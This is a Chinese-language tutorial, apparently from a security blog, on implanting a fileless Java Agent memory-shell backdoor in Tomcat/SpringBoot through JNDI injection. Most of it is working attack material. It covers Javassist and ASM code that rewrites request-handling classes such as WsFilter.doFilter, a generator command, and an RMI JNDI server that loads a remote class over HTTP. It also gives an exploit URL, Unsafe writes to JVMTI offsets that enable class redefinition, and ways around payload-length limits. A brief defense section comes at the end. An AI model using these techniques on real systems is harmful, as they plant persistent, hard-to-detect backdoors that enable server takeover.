无文件落地注入Agent内存马实操
字数 2107 2025-08-19 12:40:39
无文件落地注入Agent内存马技术详解
一、技术概述
无文件落地注入Agent内存马技术是一种高级攻击技术,适用于具有动态代码上下文执行能力的场景。该技术通过Java Agent机制在内存中动态修改目标类的字节码,实现持久化后门植入,且无需在目标服务器上落地任何文件。
适用条件
- 目标系统需具备动态代码执行能力(非单纯的Runtime.getRuntime().exec())
- 需要存在JNDI注入或反序列化漏洞等攻击入口
- 适用于JDK低版本(特别是Windows环境)
二、技术原理
核心机制
- Java Agent技术:通过Instrumentation API动态修改已加载类的字节码
- JNDI注入:作为攻击入口,触发远程类加载
- 内存操作:使用Unsafe类直接操作内存,绕过安全限制
关键技术点
- 通过JVM TI接口修改can_redefine_classes标志
- 动态替换目标类的字节码
- 避免文件落地,完全在内存中完成操作
三、环境准备
测试环境
- 操作系统:Windows 10
- JDK版本:8u66(推荐低版本)
- 目标应用:SpringBoot 2(暴露反序列化和JNDI接口)
工具准备
-
项目地址:https://github.com/whocansee/FilelessAgentMemShell
- 包含测试所需的简易漏洞环境
- 包含新类字节码生成工具
-
必要工具:
- Javassist(字节码修改)
- ASM框架(可选,用于复杂修改)
- Ysomap或其他JNDI服务器工具
四、实施步骤
1. 生成用于注入的类文件
选择宿主类
推荐使用的Tomcat容器宿主类(请求处理必经之类):
org.apache.tomcat.websocket.server.WsFilter(推荐)org.springframework.web.servlet.DispatcherServletorg.apache.catalina.core.ApplicationFilterChainorg.apache.catalina.core.StandardContextValvejavax.servlet.http.HttpServlet
使用Javassist修改字节码
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.getCtClass("org.apache.tomcat.websocket.server.WsFilter");
CtMethod m = ctClass.getDeclaredMethod("doFilter");
m.insertBefore("Runtime.getRuntime().exec(\"calc\");");
ctClass.writeFile();
ctClass.detach();
生成最终类文件
java -jar .\FilelessAgentMemshellGenerator.jar -b 64 -c "org.apache.tomcat.websocket.server.WsFilter" -i false -o "Windows" -p .\WsFilter.class -t false
生成的文件位于out文件夹下的AgentMemShell.class
2. 配置JNDI服务器
手工部署JNDI服务器
import javax.naming.InitialContext;
import javax.naming.Reference;
public class JNDIServer {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
Reference refObj = new Reference("AgentMemShell", "AgentMemShell", "http://localhost:8000/");
initialContext.rebind("rmi://localhost:11451/remoteObj", refObj);
}
}
配套HTTP服务
python -m http.server
3. 利用JNDI注入漏洞
漏洞环境示例
@GetMapping({"/jndi"})
public void jndi(@RequestParam String b) throws Exception {
byte[] decodedBytes = Base64.getDecoder().decode(b);
String decodedUrl = new String(decodedBytes, StandardCharsets.UTF_8);
InitialContext ctx = new InitialContext();
ctx.lookup(decodedUrl);
}
攻击URL
http://localhost:8080/memShell/jndi?b=cm1pOi8vbG9jYWxob3N0OjExNDUxL3JlbW90ZU9iag==
(Base64解码后为rmi://localhost:11451/remoteObj)
五、关键技术问题与解决方案
1. Lambda表达式问题
问题现象
当宿主类方法中包含lambda表达式时,动态替换会失败,控制台报错。
影响类示例
org.apache.catalina.core.ApplicationFilterChain的doFilter()方法包含lambda表达式
解决方案
方案一:更换宿主类
- 选择不含lambda表达式的类,如:
org.apache.tomcat.websocket.server.WsFilterorg.apache.catalina.core.StandardContextValve
方案二:使用ASM框架完全重写方法
import org.objectweb.asm.*;
import java.io.FileOutputStream;
import java.io.IOException;
public class ModifyCalcMethod {
public static void main(String[] args) {
try {
byte[] modifiedClass = modifyCalcMethod();
try (FileOutputStream fos = new FileOutputStream("Hello.class")) {
fos.write(modifiedClass);
}
System.out.println("Modified class written to: Hello.class");
} catch (IOException e) {
e.printStackTrace();
}
}
public static byte[] modifyCalcMethod() throws IOException {
ClassReader classReader = new ClassReader("org.apache.catalina.core.ApplicationFilterChain");
ClassWriter classWriter = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
ClassVisitor classVisitor = new ClassVisitor(Opcodes.ASM7, classWriter) {
@Override
public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {
if (name.equals("doFilter")) {
MethodVisitor newMethod = super.visitMethod(access, name, desc, signature, exceptions);
newMethod.visitCode();
newMethod.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/System", "out", "Ljava/io/PrintStream;");
newMethod.visitLdcInsn("Hello, World!");
newMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false);
newMethod.visitInsn(Opcodes.RETURN);
newMethod.visitMaxs(2, 1);
newMethod.visitEnd();
return null;
} else {
return super.visitMethod(access, name, desc, signature, exceptions);
}
}
};
classReader.accept(classVisitor, 0);
return classWriter.toByteArray();
}
}
方案三:修改源代码重新编译
- 获取目标类源码(如tomcat-embed-core-9.0.63-sources)
- 将lambda表达式改为匿名类实现
- 重新编译生成class文件
2. JDK版本相关问题
can_redefine_classes偏移量
不同JDK版本中can_redefine_classes标志的偏移量不同:
// 64位目标的通用解决方案
unsafe.putByte(native_jvmtienv + 377, (byte)2);
unsafe.putByte(native_jvmtienv + 361, (byte)2);
unsafe.putByte(native_jvmtienv + 369, (byte)2);
Unsafe类使用差异
- JDK8:仅警告
- JDK11+:需编译时添加参数才能使用
Windows虚拟机实现类
- JDK8:
WindowsVirtualMachine - JDK9+:
VirtualMachineImpl
3. Payload长度限制问题
解决方案
-
优化字节码:
- 选择体积小的宿主类
- 删除不影响功能的方法体内容
-
转移反序列化流程:
- 利用UnicastRef链、LDAPAttribute链开启新反序列化入口
-
解除长度限制:
- 研究目标中间件对不同位置的payload长度限制
- 尝试解除或绕过限制
六、防御建议
- 升级JDK:使用高版本JDK(17+)限制不安全反射
- 禁用危险功能:关闭不必要的JNDI、反序列化接口
- 安全加固:
- 设置
com.sun.jndi.rmi.object.trustURLCodebase=false - 使用Security Manager限制敏感操作
- 设置
- 监控检测:
- 监控Instrumentation API的使用
- 检测异常的类字节码修改行为
- 代码审计:检查所有动态代码执行点
七、参考资源
- 论如何优雅的注入Java Agent内存马
- Java Instrumentation API官方文档
- JVM TI接口规范
- ASM/Javassist框架文档